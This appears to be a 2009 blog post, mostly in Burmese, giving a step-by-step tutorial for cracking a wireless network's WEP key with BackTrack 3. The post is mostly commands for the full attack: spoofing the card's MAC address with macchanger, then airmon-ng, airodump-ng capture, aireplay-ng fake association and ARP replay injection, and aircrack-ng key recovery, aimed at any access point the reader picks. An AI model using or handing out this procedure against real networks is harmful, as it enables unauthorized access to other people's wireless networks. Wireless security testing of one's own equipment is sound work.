Wednesday, October 28, 2009

Wireless Cracking/WEP Crack

ကြ်န္ေတာ္ဒီတစ္ခါ ေဖာ္ၿပခ်င္တာကေတာ႔ Network နဲ႔ပတ္သက္ပါတယ္
WEP ကို Crack လုပ္ၿခင္း (သို႔) Password Key ကိုရွာၿခင္းပါ။
ပထမဆံုး ကြ်န္ေတာ္တို႕လိုတာက Desktop ကြန္ပ်ဴတာတစ္လုံး၊
Wireless Card တစ္ခု၊ Access Point တစ္ခုပါ္။
ၿပီးေတာ႔ BackTrack Version3 Bootable CD ပါ။ CD ဆိုင္မွာလဲ၀ယ္လိုရပါတယ္။
ေဒါင္းလုဒ္ လုပ္လဲရပါတယ္။ ပစၥည္းေတြစုံၿပီဆိုရင္ေတာ႔ ကြ်န္ေတာ္တို႔စလို႔ရပါၿပီ။
Wireless Card ကို Desktop Computer မွာ Install လုပ္ၿပီး ၀င္းဒိုးမွာ အရင္စမ္းၾကည္႔ပါ။
ကဒ္ေကာင္းမေကာင္း။ အလုပ္လုပ္မလုပ္။ စိတ္ခ်ရၿပီဆိုရင္ေတာ႔ BackTrack စီဒီနဲ႔ ဘုလုပ္ပါ။
စီဒီနဲ႔ ဘုလုပ္ၿပီးရင္ Console တစ္ခုကို ဖြင္႔လိုက္ပါ။ Console က desktop area ရဲ႕ေအာက္ဘက္၊
ညာဘက္ေထာင္႔ရဲ႕ ဒုတိယေနရာက ေဘာက္စ္ေလးၿဖစ္ပါတယ္။ ဖြင္႔ၿပီးရင္
ပထမဆံုး airmon-ng ဆိုတဲ႔ built in command ပါ။ wireless network card ကို စစ္တဲ႔ command ပါ။
command run ၿပီးရင္ wireless adaptor ကိုေတြ႔ပါလိမ္႔မယ္.
ၿပီးရင္ ေအာက္ကကြ်န္ေတာ္ေရးထားတဲ႔ command ေလးေတြကိုေသခ်ာၾကည္႔ၿပီး ရမ္းပါ။
error ၿဖစ္ေနရင္ ကဒ္မေကာင္းလို႔၊ဒါမွမဟုတ္ ရုိက္ေသာ command ေလးေတြမွားေနလို႔ပါ။
mac address ေတြကိုေသခ်ာဂရုစိုက္ေစခ်င္ပါတယ္။
airmon-ng stop (interface)
ifconfig (interface) down
macchanger --mac 00:11:22:33:44:55 (interface)
airmon-ng start (interface)
Mac address ကိုေၿပာင္းနုိင္မွသာလွ်င္ crack လုပ္ဖို႔ၾကိဳးစားပါ။
mac address ကိုေၿပာင္းတဲ႔အခ်ိန္မွာ error ရွိေနရင္ ဆက္လို႔ အဆင္မေၿပနုိင္ပါဘူး။
အဒီကကေတာ႔ wireless card ရဲ႔ mac address ကို အတုလုပ္လိုက္တာပါ။
အေပၚက command ေတြကို ရမ္း ၿပီးသြားရင္ေတာ႔ ဒီ ကြန္မန္းေလးရမ္းလိုက္ပါ။
airodump-ng (interface)
ဒီကြန္မန္းေလးက wireless AP ေတြကို scan လုပ္တာပါ။
ကိုယ္ crack လုပ္ခ်င္တဲ႔ access point ေတြ႔ရင္ Control+C လုပ္ၿပီး ရပ္လိုက္ပါ။
ဘာေတြၿပထားလဲဆိုရင္ AP ရဲ႕ အမည္၊ encryption method၊channel၊ bssid ဆိုတဲ႔
AP ရဲ႕ mac address ပါ။
ဒါေတြရၿပီဆိုရင္ေတာ႔ဒီ ကြန္မန္းေလးဆက္ရမ္းလိုက္ပါ။
airodump-ng -c (channel) -w (AP ရဲ႕ အမည္) --bssid (bssid) (interface)
no.4 ပုံအတုိင္းရမ္းေနရင္ေတာ႔ ဒုတိယ console တစ္ခုထက္ဖြင္႔ပါ။
aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 -e (essid) (interface)
"Association successful" message ဆိုတာေလးရေအာင္ေစာင္႔ေနေပးပါ။
ရၿပီဆိုရင္ေတာ႔ aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 (interface)
ထက္ ရမ္းပါ။ No.5 ပံုအတုိင္းရမ္းေနရင္ တတိယ console ေလးဖြင္႔ၿပီး
aircrack-ng -b (bssid) (file name-01.cap) ရမ္းပါ။ အဲဒီမွာ file name-01.cap ဆိုတာက
AP name-01.cap ပါပဲ။ Desktop ေပၚက home folder ထဲမွာၾကည္႔လို႔ရပါတယ္။
ဒါရမ္းၿပီးရင္ေတာ႔ you got the wep key like no.6 picture.
ကြ်န္ေတာ္စမ္းတာက ပထမ Dlink DWA-520 နဲ႔ Dlink router ပါ။
ဒါေပမယ္႔ wireless card ကို mac ေပးတာမရပါဘူး။ဘာလို႔လဲေတာ႔ကြ်န္ေတာ္အတိအက်
မသိပါဘူး။ ဒါနဲ႔ Trendnet TEW-403PI နဲ႔စမ္းတာအဆင္ေၿပသြားပါတယ္။
Picture Link http://lifehacker.com/5305094/how-to-crack-a-wi+fi-networks-wep-password-with-backtrack

No comments: